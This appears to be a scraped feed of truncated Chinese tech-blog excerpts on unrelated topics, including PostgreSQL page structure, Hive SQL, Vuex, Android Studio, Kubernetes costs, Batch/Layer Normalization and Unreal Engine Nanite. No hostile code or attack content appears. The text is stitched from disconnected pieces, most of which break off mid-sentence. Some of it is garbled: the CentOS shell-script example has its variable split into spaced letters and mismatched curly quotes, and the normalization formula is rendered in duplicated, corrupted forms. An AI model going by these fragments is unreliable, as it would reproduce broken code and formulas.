【PostgreSQL】【存储管理】表和元组的组织方式

外存管理负责处理数据库与外存介质(PostgreSQL8.4.1版本中只支持磁盘的管理操作)的交互过程。在PostgreSQL中,外存管理由SMGR(主要代码在smgr.c中)提供了对外存的统一接口。SMGR负责统管各种介质管理器,会根据上层的请求选择一个具体的介质管理器进行操作。每个表在磁盘中都以一定的结构进行存储,针对磁盘,外存管理模块提供了磁盘管理器和VFD机制。在PostgreSQL8.4.1版本中,还为每个表文件创建了两个附属文件,即空闲空间映射表(FSM)和可见性文件映射表(VM)。另外,对于大数据存储,PostgreSQL也提供了两种处理机制。 表和元组的组织方式 PostgreSQL中一个表中的元组按照创建顺序依次插入到表文件中。在进行VACUUM操作清除被删除的元组后,元组也可以以无序的方式插入到具有空间空间的文件块中元组之间不进行关联,这样的表文件称为堆文件。PostgreSQL系统中包含了四种堆文件: 普通堆:堆文件就是普通堆临时堆:临时堆和普通堆结构相同,但是临时堆仅在会话过程中临时创建,会话结束会自动结束。序列:一种特殊的单行表,它是一种元组值自动递增的特殊堆。TOAST表:它其实也是一种普通堆,但是它被专门用于存储变长数据。 尽管这几种堆的功能各异,但在底层的文件结构却是相似:每个堆文件由多个文件块组成。 文件块在物理磁盘中的存储形式: PageHeaderData: 24字节长。包含关于页面的一般信息,包括空闲空间指针。 结构体: typedef struct PageHeaderData { /* XXX LSN is member of *any* block, not only page-organized ones */ PageXLogRecPtr pd_lsn; /* LSN: next byte after last byte of xlog * record for last change to this page */ uint16 pd_checksum; /* checksum */ uint16 pd_flags; /* flag bits, see below */ LocationIndex pd_lower; /* offset to start of free space */ LocationIndex pd_upper; /* offset to end of free space */ LocationIndex pd_special; /* offset to start of special space */ uint16 pd_pagesize_version; TransactionId pd_prune_xid; /* oldest prunable XID, or zero if none */ ItemIdData pd_linp[FLEXIBLE_ARRAY_MEMBER]; /* line pointer array */ } PageHeaderData; 域类型长度描述pd_lsnPageXLogRecPtr8 bytesLSN: 最后修改这个页面的WAL记录最后一个字节后面的第一个字节pd_checksumuint162 bytes页面校验码pd_flagsuint162 bytes标志位pd_lowerLocationIndex2 bytes到空闲空间开头的偏移量pd_upperLocationIndex2 bytes到空闲空间结尾的偏移量pd_specialLocationIndex2 bytes到特殊空间开头的偏移量pd_pagesize_versionuint162 bytes页面大小和布局版本号信息pd_prune_xidTransactionId4 bytes页面上最老未删除XID,如果没有则为0 ItemIdData:

用python写一个完整的图书管理系统

下面是一个简单的Python图书管理系统的示例代码,包括用户管理、图书管理、借还管理和系统管理等功能: import csv import os import hashlib # 定义用户类 class User: def __init__(self, username, password, email, is_admin=False): self.username = username self.password = hashlib.sha256(password.encode()).hexdigest() self.email = email self.is_admin = is_admin def authenticate(self, password): return self.password == hashlib.sha256(password.encode()).hexdigest() # 定义图书类 class Book: def __init__(self, name, author, publisher, publish_date, isbn, introduction, cover): self.name = name self.author = author self.publisher = publisher self.publish_date = publish_date self.isbn = isbn self.introduction = introduction self.cover = cover self.

【大数据】Hive查询、函数

文章目录 一、查询1. 基础语法2. 基本查询(Select…From)2.1 全表和特定列查询2.2 列别名2.3 Limit语句2.4 Where语句2.5 关系运算函数2.6 逻辑运算函数2.7 聚合函数 3. 分组3.1 Group By语句3.2 Having语句 4. Join语句5.排序5.1 全局排序(Order By)5.2 每个Reduce内部排序(Sort By)5.3 分区(Distribute By)5.4 分区排序(Cluster By) 二、函数1.单行函数1.1 算术运算函数1.2 数值函数1.3 字符串函数1.4 日期函数1.5 流程控制函数 2. 高级聚合函数 一、查询 1. 基础语法 官网地址 查询语句语法: SELECT [ALL | DISTINCT] select_expr, select_expr, ... FROM table_reference -- 从什么表查 [WHERE where_condition] -- 过滤 [GROUP BY col_list] -- 分组查询 [HAVING col_list] -- 分组后过滤 [ORDER BY col_list] -- 排序 [CLUSTER BY col_list | [DISTRIBUTE BY col_list] [SORT BY col_list] ] [LIMIT number] -- 限制输出的行数 2.

【IC设计】Chisel开发环境搭建

文章目录 README安装步骤脚本附录 README 如果想快速搭建好环境,不关心具体的安装过程 直接复制文章后面的【脚本附录】,以root用户在任意目录下执行该脚本 它会帮助你完成安装java11、ubuntu换源、sbt换源、下载sbt,执行完以后是这样的: 然后从安装步骤的【第9步】开始测试scala和chisel是否能正常使用即可 如果想从头逐步安装,从【安装步骤】第一步开始看即可 安装步骤 首先安装一个Ubuntu的虚拟机 然后给Ubuntu换个镜像,方便下载 注意换源后使用apt-get update更新下 安装vim(可以不做) 这里安装Vim是我感觉Ubuntu自带的vi编辑器似乎有问题,因为我按i进入【插入模式】并没有提示,所以安装vim进行替代。 只关心Chisel安装的可以跳过这一步。 apt install vim sudo vim /etc/vim/vimrc #在vimrc文件结尾处添加 #显示行数 set number #自动缩进 set autoindent #光标高亮 set cursorline set ruler #Tab默认4格 set tabstop=4 安装JDK sudo apt-get install default-jdk 安装完成后使用java -version测试结果为: 安装sbt构建工具 sbt是Scala的构建工具,类似C的Make和Java的Maven,都是依赖管理工具。 echo "deb https://repo.scala-sbt.org/scalasbt/debian all main" | sudo tee /etc/apt/sources.list.d/sbt.list echo "deb https://repo.scala-sbt.org/scalasbt/debian /" | sudo tee /etc/apt/sources.list.d/sbt_old.list #curl依赖libcurl4 apt-get purge libcurl4 apt-get install curl curl -sL "

Vuex的使用

Vuex 简介 Vuex是一个专为Vue.js 应用程序开发的==状态管理模式==。 它采用==集中式存储管理应用的所有组件的状态,并以相应的规则保证状态以一种可预测的方式发生变化。 Vuex也集成到Vue的官方调试工具devtools extension==,提供了诸如零配置的 time-travel 调试、状态快照导入导出等高级调试功能。 专门在 Vue 中实现集中式状态(数据)管理的一个 Vue 插件,对 vue 应用中多个组件的共享状态进行集中式的管理(读/写),也是一种组件间通信的方式,且适用于任意组件间通信。 Vuex的最主要的作用:实现多组件之间的数据共享 什么时候使用 Vuex 多个组件依赖于同一状态 来自不同组件的行为需要变更同一状态 1、安装: 注意: vue2中,要用vuex的3版本。vue3中,要用vuex的4版本。 #vue2版本安装 npm install -save vuex@3 #vue3版本安装 npm install -save vuex@4 2、使用:在src目录下创建store目录,然后再store目录创建index.js文件 index.js import Vue from 'vue'; import Vuex from 'vuex'; Vue.use(Vuex) //准备actions——用于响应组件中的动作 const actions = { } //准备mutations——用于操作数据(state) const mutations = { } //准备state——用于存储数据 const state = { } // 定义getter来获取数据 const getters = { } export default new Vuex.

centos服务器a.sh内如何 在指令中自动加入当前时间?

在CentOS服务器上,你可以使用date命令来获取当前的日期和时间。你可以在Shell脚本中使用date命令来生成当前时间,并将其作为变量保存。 以下是一个示例Shell脚本,其中使用了当前时间: bash 复制代码 #!/bin/bash 获取当前时间 current_time=$(date +“%Y-%m-%d %H:%M:%S”) 执行其他指令,并将当前时间作为参数或变量使用 示例:将当前时间作为文件名的一部分 filename=“report_ c u r r e n t t i m e . t x t " e c h o " 正在创建文件: {current_time}.txt" echo "正在创建文件: currentt​ime.txt"echo"正在创建文件:filename” touch “$filename” 在上面的示例中,date +"%Y-%m-%d %H:%M:%S"指令生成了当前时间的字符串表示,格式为YYYY-MM-DD HH:MM:SS。你可以将这个时间字符串存储在一个变量中,并在需要的地方使用它。 在执行其他指令时,你可以将该变量作为参数传递给命令,或者与其他字符串进行拼接,如上述示例中的文件名。 请注意,上述示例中的脚本只是一个简单的演示,你可以根据自己的需求进行修改和扩展。

轻松上手:<Android Studio笔记应用开发>(一)入门与笔记应用浅开发

目录 读前须知学习本文章后你会获得什么?演示如下: 一、打开Android Studio并新建项目二、Android Studio项目结构详解(一)**Android** 视图与磁盘上的结构之间的结构差异(二)对**Android** 视图下的结构作如下解释(三)你所需要关注的重点1. **app/manifests/AndroidManifests.xml 文件**:2. **什么时候要修改这个文件?**2. **app/java/com.example.my_notes_record 目录**:3. **app/res/drawable 目录**:4. **app/res/layout 目录**:5. **app/res/values 目录**: (四)xml文件到底是个什么东西?(五)gradle是什么? 三、实现页面跳转(一)实现浮动按钮(FAB)1. 为何要实现FAB?2. 步骤2.1. 修改布局根元素2.2. 新建FAB2.3. 添加加号 (二)验证点击1. 简单改下代码2. 演示如下 (三)新建Java文件和xml文件1. 为什么要新建Java文件和xml文件? (四)实现简单跳转,使用Intent 四、实现文本编写功能五、输出文本(一)修改MainActivity.java文件(二)修改EditActivity.java文件大功告成!!! 结语 读前须知 本系列旨在快速开发Android端应用,以笔记(便签)为例。 系统:Windows10 工具:Android Studio,版本:2022.3.19 语言:Java (版本:17) 此系列适合的人群: 想开发一款项目(Android)但无从下手的人 你必须确保有满足以下基础: 成功配置好了Java环境成功安装了Android Studio使用Android Studio新建了第一个文件并成功类似输出Hello World!了解过编程(最好可以熟练使用一门语言解决问题) 你可以不具备以下条件: 熟练使用Java实践过项目开发 注意: 本文确保细致入微,但为了行文结构和阅读体验放弃了一些内容,所以如果你在阅读本文章时有任何疑惑请留言,我将回答你!本人尚且大二,学业压力较大。但将保证学习并实践的过程错时最多30天同步更新此系列。阅读并熟练掌握本文内容,你将最少花费2小时! 学习本文章后你会获得什么? 了解Android Studio项目结构了解Java部分语法和XML文件的撰写实现界面跳转编写文档 演示如下: 点击上图中的悬浮按钮后,将跳转页面,见下图; 如上图所示,你可以在此界面编写。 芜湖!写好喽! 接下来,点击手机(AVD)的后退按键,你将在logcat界面见到你输入的信息(见下图)。记得筛选词哦~~ 如你所见,本文章完成的仅是记事本的雏形,你可以根据自己实际需要选择继续阅读本文或停止阅读本文。 一、打开Android Studio并新建项目 二、Android Studio项目结构详解 (一)Android 视图与磁盘上的结构之间的结构差异 默认情况下,Android Studio 会在 Android 视图中显示您的项目文件。此视图并未反映磁盘上的实际文件层次结构。相反,它按模块和文件类型进行整理,以简化项目的关键源文件之间的导航方式,并隐藏某些不常用的文件或目录。

git版本控制的思想

1.当修改文件发现错误时,需要恢复到修改前的状态。 每一次修改最后都要提交一个版本,当后续修改发现问题时,可以恢复到修改前的版本。 2.文件按阶段保存在三个不同区(工作区、暂存区、版本库) 工作区存储的是正在修改的内容。 版本库存储了历次修改的不同版本。修改完成后形成一个新的版本,提交到版本库中。如果每个文件修改后都形成一个新版本,则版本会太多,难以管理。一般会在项目中修改了多个文件,完成一次开发迭代时,才提交一个新版本。 在提交版本前,对文件的修改,可以保存到暂存区(git add)。工作区的文件修改后,如果发现项目出问题了,想恢复到修改前的状态,可以从暂存区中取出来覆盖工作区的文件(git checkout)。如果发现暂存区的内容也有问题,则从版本库的某一版本来复原暂存区(git reset)。 暂存区是一个桥梁,连接着工作区和版本。提交版本时,从工作区经暂存区,再到版本库。内容回滚时,先从暂存区恢复工作区的文件,如果不能解决问题,则从版本库中选择一个合适版本,恢复到暂存区中,再从暂存区去恢复工作区的内容。

IntelliJ IDEA 控制台中文乱码的四种解决方法

前言 IntelliJ IDEA 如果不进行配置的话,运行程序时控制台有时候会遇到中文乱码,中文乱码问题非常严重,甚至影响我们对信息的获取和程序的跟踪。开发体验非常不好。 本文中我总结出四点用于解决控制台中文乱码问题的方法,希望有助于大家。 注意:下面根据我日常工作的经验总结,排序的先后即为我们需要注意修改的先后。在每次进行修改之后一定要重启 IntelliJ IDEA 使配置生效。 一、修改当前 Web 项目 Tomcat Server 的虚拟机输出选项 上方导航栏“Run→Edit Configurations…”进入配置页面,修改当前 Web 项目 Tomcat Server 的虚拟机输出选项 VM options 添加 -Dfile.encoding=UTF-8 ,具体如下图所示: 在重启之后运行程序检查控制台信息,如果不管用请执行下面的步骤。 二、修改 IntelliJ IDEA 全局编码、项目编码、属性文件编码 上方导航栏“File→Settings…”进入配置页面,在“Editor”中下滑找到“File Encodings”,分别将 Global Encoding、Project Encoding、Default encoding for properties files 都设置为 UTF-8,具体如下图所示: 在重启之后运行程序检查控制台信息,如果不管用请执行下面的步骤。 三、IntelliJ IDEA 中自定义虚拟机选项 上方导航栏“Help→Etit Custom VM Options…”进入自定义虚拟机选项页面,具体如下图所示: 在 idea64.exe.vmoptions 文件尾加上-Dfile.encoding=UTF-8,具体如下图所示: 在重启之后运行程序检查控制台信息,一般到了这步问题就解决了,当然如果不管用请执行下面的超级步骤。 四、直接修改 IntelliJ IDEA 配置文件的编码信息 我们打开 IntelliJ IDEA 在本地的安装目录,找到下面两个文件,使用记事本打开,在最后一行添加-Dfile.encoding=UTF-8 即可,具体如下图所示: 在重启之后运行程序检查控制台信息,问题解决! 五、修改成功乱码问题解决 通过以上四种方式完全可以修改我们在 IntelliJ IDEA 遇到的控制台中文乱码问题,记得要重启哦

Java 面试题——定时任务

目录 概述什么是定时任务?为什么需要定时任务?有哪些实现定时任务的方式?什么是 cron 表达式?如何使用? 单机定时任务TimerDelayQueueScheduledExecutorServiceSpring Boot Task@Scheduled 注解有什么作用?介绍一下 spring-boot-starter-quartz。在 Spring Boot 中如何实现定时任务?使用 @Schedule 注解Quartz 框架 分布式定时任务MQRedis 分布式任务调度框架XXL-JOB 概述 什么是定时任务?为什么需要定时任务? (1)定时任务是一种在指定的时间点或时间间隔内自动触发执行的任务。它能够周期性地执行一些重复性、时间敏感或计划性的操作,而无需人工干预。定时任务的需求主要有以下几个方面: 自动化:定时任务可以实现某些操作的自动化,无需人工手动执行。这可以提高工作效率,减少人力资源的投入,特别是对于一些重复性、繁琐的操作,如数据备份、日志清理、文件转换等,通过定时任务可以自动完成,节省人力成本和时间。定时业务处理:在某些业务场景中,需要按照预设的时间计划执行一些操作,如定时发送邮件、定期生成报表、定时更新缓存等。通过定时任务,可以确保这些业务操作在预定的时间点或时间间隔内得到执行,满足业务需求。特定时间点的操作:有些操作需要在特定的时间点进行,如定时上线、定时下线、定时触发系统升级等。定时任务可以让这些操作在指定的时间点自动执行,避免人为因素导致的延误或错误。优化资源利用:通过合理调度定时任务,可以在系统的非高峰期执行一些资源密集型的任务,充分利用资源,减少对系统性能的影响。例如,在夜间执行数据库优化、数据同步等任务,可以减少对用户业务的影响。 (2)综上所述,定时任务能够实现操作的自动化、定时业务处理、特定时间点的操作,并且可以优化资源利用。通过定时任务,可以提高工作效率,降低人工操作的成本和错误率,进一步提升系统的稳定性和可靠性。 有哪些实现定时任务的方式? (1)实现定时任务的方式如下所示: 单机定时任务:Timer、ScheduledExecutorService、DelayQueue、Spring Boot Task;分布式定时任务:Redis、MQ;分布式任务调度框架:XXL-JOB、Quartz (2)具体如何实现见下面的详细介绍。 什么是 cron 表达式?如何使用? (1)cron 表达式是一个用于指定定时任务执行时间的字符序列。它由 6 个或 7 个域组成,中间使用空格分开,每个域分别表示秒、分、小时、日期、月份、星期和年(可省略)。cron 表达式有如下两种语法格式: Seconds Minutes Hours DayofMonth Month DayofWeek YearSeconds Minutes Hours DayofMonth Month DayofWeek (2)每一个域可出现的字符如下: Seconds:可出现", - * /"四个字符,有效范围为 0-59 的整数;Minutes:可出现", - * /"四个字符,有效范围为 0-59 的整数;Hours:可出现", - * /"四个字符,有效范围为 0-23 的整数;DayofMonth:可出现", - * / ?

OpenMV使用心得(一)串口通信(附完整代码)

目录 前言 一、硬件连接 1.OpenMV端 2.STM32zet6端 3.msp432p401r端 二、软件实现 1.OpenMV代码讲解及实现 2.stm32zet6代码讲解及实现 3.msp432p401r代码讲解及实现 前言 本篇文章从硬件层面到软件层面详细介绍了如何实现OpenMV与STM32/msp432p401r串口通信,并介绍了一下串口通讯协议的原理,文末附上完整的源代码。 一、硬件连接 1.OpenMV端 由图知RX—P5 ---TX—P4 2.STM32zet6端 本文以RX_PA3 --TX_PA2为例 3.msp432p401r端 本文以RX_P3^2--TX_P3^3 为例 注意:连接引脚时一定要注意主控的TX连接OpenMV的RX,主控的RX连接OpenMV的TX 二、软件实现 1.OpenMV代码讲解及实现 运行条件:主控先通过串口给OpenMV发送char类型数据'0'作为运行模式。针对电赛需求,OpenMV只需要收到模式数据即可,可以不加帧头与帧尾,而直接判断获取的内容,详细代码如下。 # 作者 记得开心①点 # 创作日期 2023.8.7 import sensor, image, time ,math,pyb from pyb import UART uart = UART(3,115200)#设置串口波特率 #摄像头初始化 sensor.reset()#复位和初始化传感器。 sensor.set_pixformat(sensor.RGB565)#设置像素格式为RGB565(或GRAYSCAL) sensor.set_framesize(sensor.VGA)#设置帧大小为VGA (480x640) sensor.skip_frames(time = 2000)#等待设置生效 sensor.set_auto_gain(False)#关闭自动增益 sensor.set_auto_whitebal(False) #关闭白平衡 clock = time.clock()#创建一个时钟对象来跟踪FPS #初始化三个板载灯 red_led = pyb.LED(1) green_led = pyb.LED(2) blue_led = pyb.LED(3) red_led.on();#OpenMV初始化成功长亮红灯 #红色阈值 red_threshold = (0, 100, 12, 73, -123, 127) #初始化所需标志位 i=0 pattern=-1#模式 #寻找最大色块 def find_max(blobs): max_blob = None max_size = 0 for blob in blobs: if blob[2]*blob[3]>max_size: max_blob=blob max_size=blob[2]*blob[3] return max_blob #获取数据 def data_get(): global i global pattern getrx = uart.

我们是否真的需要k8s?

文章目录 背景k8s相关的讨论为什么要用k8sk8s带来了什么当前业务使用到k8s的核心优势了吗直接自己买服务器会不会更便宜?其他QA没有人可以说出来为什么一定要用k8s而不是其他的没有人可以解释为什么成本核算困难以及成本这么高的原因没有人给出面向C端,面向B端交付的不同部署方案 互联网发展趋势讨论集约和分散合久必分和分久必合 总结 背景 这篇文章来源于一次内部讨论,大家突然聊到为什么要用k8s部署,是否还有其他的部署方案呢?大家现在好像都默认k8s部署服务,那么凭什么呢,k8s的核心优势有用到吗?私有化部署场景下需要k8s吗?甚至拆分这么多微服务是否合适,合并成大的单体应用是否可行? 以上问题虽然较多较杂,但都振聋发聩。是啊,难道除了k8s一把梭就没其他的部署方式了吗?这是否代表大家也缺少对于业务和成本的思考呢。 微服务的思想深入人心,可是部分业务真的有必要拆分成5-6个微服务吗?薄是真的薄,但是大家手头都维护好几个微服务是否会手忙脚乱呢?合并成一个单体应用就不能跑了吗? k8s相关的讨论 为什么公司的云服务都用k8s部署,不用k8s行不行?公司当前的业务非要用k8s不可吗? 为什么要用k8s 是啊,为什么现在的服务默认就使用k8s了呢?因为大家都用?因为习惯?因为运维那边的云厂商基建?因为成本低? 博主记得18年的时候公司还是自有机房,从19年就开始全面上k8s,再之后就是使用云厂商的服务。公司的运维也是经历了从机房到云厂商的转变,越来越方便的部署和低运维成本以及丰富的云厂商功能,使整个运维部门逐渐面向云厂商运维。 对于开发人员来说呢,一方面是对于新技术的追求,一方面是市面上的面试都开始问k8s相关的八股文。什么,你一个后端开发没用过k8s?回去等通知吧。所以近几年明显感受到大家对于k8s的热情,一直到现在,似乎服务不部署到k8s上就是low。 k8s带来了什么 k8s相对于传统服务器来说,可以根据请求量动态扩展pod,再结合云厂商的无限资源,让公司可以坦然面对流量高峰以及低谷,不必为了高峰大量采购服务器,也不必因为低谷而心疼服务器的开销。特别是电商公司的促销以及节日场景尤为适合。 其次就是整个云原生的生态,从负载均衡到各种资源监控,到服务治理,服务网格等,强大而丰富的生态也促使云原生更加的深入人心。 现在可以说是微服务时代,一方面是服务数量多,一方面是异构服务多,使用k8s也可以节省研发的部署成本,异构服务间调用和运维成本。 另外就是CI/CD,让服务可以在分钟级别完成部署,相应的需要运维同学去开发这些运维平台,目标是尽量屏蔽掉部署细节,方便开发人员使用。 这么看起来,k8s带来的优势似乎很多很多。 当前业务使用到k8s的核心优势了吗 当前部门业务有2个特点,一个是新业务流量较低,一个是考虑私有化部署。 流量低也就意味着大量服务开启2个pod,但使用率低下,且没有扩容场景。服务治理限于日志、指标、链路追踪等,不需要更复杂的治理场景。 私有化部署意味着客户的服务器资源有限,且客户不需要依赖云厂商的基建服务。客户的网络情况可能没互联网公司这么清晰。 举个例子,公司语音服务私有化部署遇到的问题,第一是基于minikube部署服务,发现minikube占用大量资源导致服务器资源不够用。第二是k8s的网络问题导致服务迟迟访问不了,需要不断的排查dns解析和网桥。 最终解决方案是使用docker compose的部署,占用资源低,网络要求低,一把起来。 分析完业务,那么问题来了,不使用k8s可以吗? 如果我的场景流量比较固定,那么我就不需要动态扩展pod。如果我的服务不需要那么多云原生插件,那么整个k8s容器服务对我来说是不是就过于笨重了呢?如果私有化部署,k8s丰富的生态对我来说是不是累赘呢? 可以参考这篇文章:你是否真的思考过自己的业务模式是否真的需要k8s 参考:https://www.predicagroup.com/blog/why-kubernetes-2022/ 直接自己买服务器会不会更便宜? 成本这个可以参考Ruby on Rails作者的博客,他们是做邮件服务的,业务比较稳定,流量也基本可控。云厂商的账单让他们逐渐产生疑惑,最终他们选择来离开aws。结果是一年预计节省100w美金。。。 Why we’re leaving the cloud Our cloud exit has already yielded $1m/year in savings 都2023年了,硬件成本特别是存储设备的价格也下降不少,小型计算机的配置逐渐提升,且价格合理。那么核心且流量大的服务,可以使用自建服务器。内部服务或者小流量的服务,使用apple mini或者小型计算机是不是就ok了呢?比如博主的英特尔NUC,i512代cpu+16GB内存,跑几个内部后台服务绰绰有余,3000块的成本仍到机房,相比云厂商服务的每月收费来说,便宜太多了。 就算是使用GPU的算法服务,性能要求不高的场景下,apple的m2芯片也足以胜任了,问题applemini的成本才多高?使用阿里云的A10卡,每个月就要6k+,一年下来7w。。 其他QA 没有人可以说出来为什么一定要用k8s而不是其他的 k8s只是一种方案,我们可能基于某种原因选择了k8s,而不是说我们只能和必须选择k8s。 对开发人员来说,服务不是开发完就结束的,部署方案是必须要考虑的部分,可能大家现在好像都默认使用云厂商的k8s服务,连第二方案都没考虑。。。(这一条更针对架构师这种角色) 没有人可以解释为什么成本核算困难以及成本这么高的原因 开发人员逐渐丧失了对于成本的敏锐性,对自己的服务可能需要多少成本,带来多少收益,甚至支撑多少业务量都不知道,问就是运维在负责,不清楚。 没有人给出面向C端,面向B端交付的不同部署方案 对自己手头的业务以及整个项目的思考太少。如果部门目标是C端和B端,那么使用统一使用云厂商更适合C端的服务,但是B端交付的部署方案呢?去掉k8s和云原生的组件,你的服务还能跑起来了吗?替代方案有吗? 互联网发展趋势讨论 集约和分散 社会分工是越来越精细的,例如新能源车,上游专供各个组件,下游厂商进行统一的组装,精细化和专业化是趋势也是资源分散的方式。 集约更体现在面向人的场景,例如大型超市,早就不单单是卖货了,是销售,广告,娱乐一体化的综合性经营场所,是资源集中的方式。 互联网发展这么多年,岗位类别越来越多,前端,后端,算法,测试,运维等等。大家都更关注眼前的一亩三分地,超出部分就不了解或者细节被屏蔽,大大增加了沟通成本。微前端, 微服务的产生又让相同岗位之间产生巨大的沟通成本。。。 如果场景适合回归到单体应用的话,是否代表超级个体的时代又要回来了呢? ? 底层细节的屏蔽确实带来了方便,某种意义上也带来了技术上的掌控力下降。团队没有大牛的情况下,不出问题就算了,出问题就是大问题,普通开发人员对于k8s的熟悉度不够,排查问题的难度也提升不少。

html css 图片自动轮播

以下是一个基本的HTML和CSS实现的图片自动轮播: HTML: <div class="slideshow-container"> <div class="slideshow"> <img src="img1.jpg" alt="Image 1" /> <img src="img2.jpg" alt="Image 2" /> <img src="img3.jpg" alt="Image 3" /> </div> </div> CSS: .slideshow-container { position: relative; width: 100%; height: 400px; overflow: hidden; } .slideshow { position: absolute; top: 0; left: 0; width: 100%; height: 100%; } .slideshow img { display: block; width: 100%; height: 100%; object-fit: cover; } .slideshow img:nth-of-type(n+2) { opacity: 0; } .slideshow img:first-of-type { animation: slide 3s infinite; } @keyframes slide { 0% { opacity: 0; } 5% { opacity: 1; } 25% { opacity: 1; } 30% { opacity: 0; } 100% { opacity: 0; } } JavaScript:

C中的编译和链接

1. 翻译环境和运⾏环境 在ANSI C的任何⼀种实现中,存在两个不同的环境。 第1种是翻译环境,在这个环境中源代码被转换为可执⾏的机器指令。 第2种是执⾏环境,它⽤于实际执⾏代码。 2. 翻译环境 那翻译环境是怎么将源代码转换为可执⾏的机器指令的呢?这⾥我们就得展开开讲解⼀下翻译环境所做的事情。 其实翻译环境是由 编译 和 链接 两个⼤的过程组成的,⽽编译⼜可以分解成:预处理(有些书也叫预编译)、编译、汇编三个过程。 ⼀个C语⾔的项⽬中可能有多个.c⽂件⼀起构建,那多个.c⽂件如何⽣成可执⾏程序呢? • 多个.c⽂件单独经过编译处编译处理⽣产对应的⽬标⽂件。 • 注:在Windows环境下的⽬标⽂件的后缀是.obj,Linux环境下⽬标⽂件的后缀是.o • 多个⽬标⽂件和链接库⼀起经过链接器处理⽣成最终的可执⾏程序。 • 链接库是指运⾏时库(它是⽀持程序运⾏的基本函数集合)或者第三⽅库。 如果再把编译器展开成3个过程,那就变成了下⾯的过程: 2.1 预处理(预编译) 在预处理阶段,源⽂件和头⽂件会被处理成为.i为后缀的⽂件。 在 gcc 环境下想观察⼀下,对 test.c ⽂件预处理后的.i⽂件,命令如下: gcc -E test.c -o test.i 预处理阶段主要处理那些源⽂件中#开始的预编译指令。⽐如:#include,#define,处理的规则如下: • 将所有的 #define 删除,并展开所有的宏定义。 • 处理所有的条件编译指令,如: #if 、 #ifdef 、 #elif 、 #else 、 #endif 。 • 处理#include 预编译指令,将包含的头⽂件的内容插⼊到该预编译指令的位置。这个过程是递归进⾏的,也就是说被包含的头⽂件也可能包含其他⽂件。 • 删除所有的注释 • 添加⾏号和⽂件名标识,⽅便后续编译器⽣成调试信息等。 • 或保留所有的#pragma的编译器指令,编译器后续会使⽤。 经过预处理后的.i⽂件中不再包含宏定义,因为宏已经被展开。并且包含的头⽂件都被插⼊到.i⽂件 中。所以当我们⽆法知道宏定义或者头⽂件是否包含正确的时候,可以查看预处理后的.i⽂件来确认。 2.2 编译 编译过程就是将预处理后的⽂件进⾏⼀系列的:词法分析、语法分析、语义分析及优化,⽣成相应的汇编代码⽂件。 编译过程的命令如下: gcc -S test.

Batch Normalization、Layer Normalization 的总结与实现

Batch Normalization、Layer Normalization 的总结与实现 一、前言 共同点:两者都属于归一化的方法,用在不同的场景下。Batch Normalization 从公式上来看是对不同样本张量在同一个维度(通道)进行归一化,能够降低不同样本之间的差异性。Layer Normalization 是对同一个样本里面不同的通道做归一化,降低了样本间特征的差异性。 关于贝塞尔校正,就是求方差的时候,是把累积的平方差值被 n 除还是被 n -1 除。使用了贝塞尔校正就是被 n - 1 除。 二、Batch Normalization(BN) 1. 简介 BN 一般在卷积层使用。 物理意义:让每张图片的相同通道的所有像素值使用相同的的均值和方差做归一化。 作用: 使得数据分布一致。使得每一层的输入都近似标准正态分布,缓解了内部协变量偏移问题。避免梯度爆炸、梯度消失。具有一定的正则化效果,可以防止过拟合。降低模型对网络参数的影响,使网络学习更稳定,降低参数初始化对模型训练的影响(因此可以选择较大的初始学习率)。 公式: y = x − m e a n ( X ) ( v a r ( X ) + e p s ) ∗ γ + β y = \frac{x - mean(X)}{\sqrt(var(X) + eps)} * \gamma+ \beta y=( ​var(X)+eps)x−mean(X)​∗γ+β

[c++] [1043] 最高的分数

描述 孙老师讲授的《计算概论》这门课期中考试刚刚结束,他想知道考试中取得的最高分数。因为人数比较多,他觉得这件事情交给计算机来做比较方便。你能帮孙老师解决这个问题吗? 输入 输入两行,第一行为整数n(1 <= n < 100),表示参加这次考试的人数.第二行是这n个学生的成绩,相邻两个数之间用单个空格隔开。所有成绩均为0到100之间的整数。 输出 输出一个整数,即最高的成绩。 #include <iostream> using namespace std; int main(){ int n,m,h = 0; cin>>n; for(int i=0;i<n;i++){ cin>>m; if(m>h){ h=m; } } cout<<h<<endl; }

[官方培训]23-为UE创建美术资产 Epic 李文磊 笔记

为UE创建美术资产 资产一般存在哪些问题? “太过游戏化” “太不游戏化” 解决方式 Streaming(流送) 虚拟几何体和虚拟贴图 虚拟几何体和虚拟纹理的工作方式 把各种情况下(包括中近远)的模型和贴图打散成更小的单位,然后屏幕上看到哪些就加载绘制哪些。从而减小渲染,内存及显存的开销; 反过来看就是可以负担更多的资产。从而提高效果和效率。 啥时候用Nanite? 能用则用除了一些特例。 Nanite的剔除,剔除的单位是cluster簇。因此相对于普通的模型,Nanite模型有极大的剔除效率。可以渲染更多的三角面。 另外就是在制作镂空的结构时,建议使用Nanite的几何体的顶点或者三角面表现,而不要使用镂空的材质或者Mask的材质。Nanite更好。镂空材质使用最多就是植被。 对于草这种比较小的物体制作的时候更Lumen一起工作有个问题需要注意。它有可能在Lumen scene里面是黑色的或者Lumen surface cache是黄色的。代表它完全没有捕获。是因为做的时候模型太小导致的。 在模型的层面放大三倍就解决了。 对于Nanite Mesh当我们使用WPO做顶点位移的材质效果的时候,要注意不能使用太大的位移,否则遮挡剔除会产生问题。 这边在材质里做比较大的WPO位移效果。当遮挡物还没挡到小球前面的时候,就已经把它剔除了。 除了遮挡剔除,视锥剔除也是不正确的。 这边随便验证Nanite是以簇(cluster)这个单位剔除的。 对于这种问题我们可以增加对象的包围盒的大小来减轻这种问题发生的几率。但剔除的敏感度也降低了,有时候反而没有剔除。 对于地形现在也加入了转成Nanite Mesh渲染的功能。 地形转成Nanite Mesh有几个好处 同样品质下效率会更高。阴影渲染的效率,主要是虚拟阴影贴图,也是从三角面以及渲染批次两个方面进行优化的。 但是地形也有其特殊性,尤其和别的渲染模块一起工作的时候。 第一个是Lumen的Surface Cache的捕获需要地形的high field高度场信息。所以这些信息需要来自传统地形。 第二个是RVT(实时的虚拟贴图)它的cache并不支持Nanite Mesh。因此这些信息也是需要来自传统地形表面。 具体演示看视频 模型需要多少面? 归根结底可以参考贴图大小的确定,贴图是以像素的大小和屏幕像素大小的比例来确定贴图的分辨率的。模型就是顶点的法线变化的频率。它这个变化的频率或者细节和屏幕像素大小的一个关系。 对于开放模型就是通过对边缘轮廓线的平滑程度和像素或者分辨率的比较关系来确定最少需要多少三角面。 具体演示看视频 模型还要分UV吗? 三角面的密度如果达到了像素级自然可能会产生一个疑问就是模型是否需要分UV?可不可以用顶点色表现颜色? 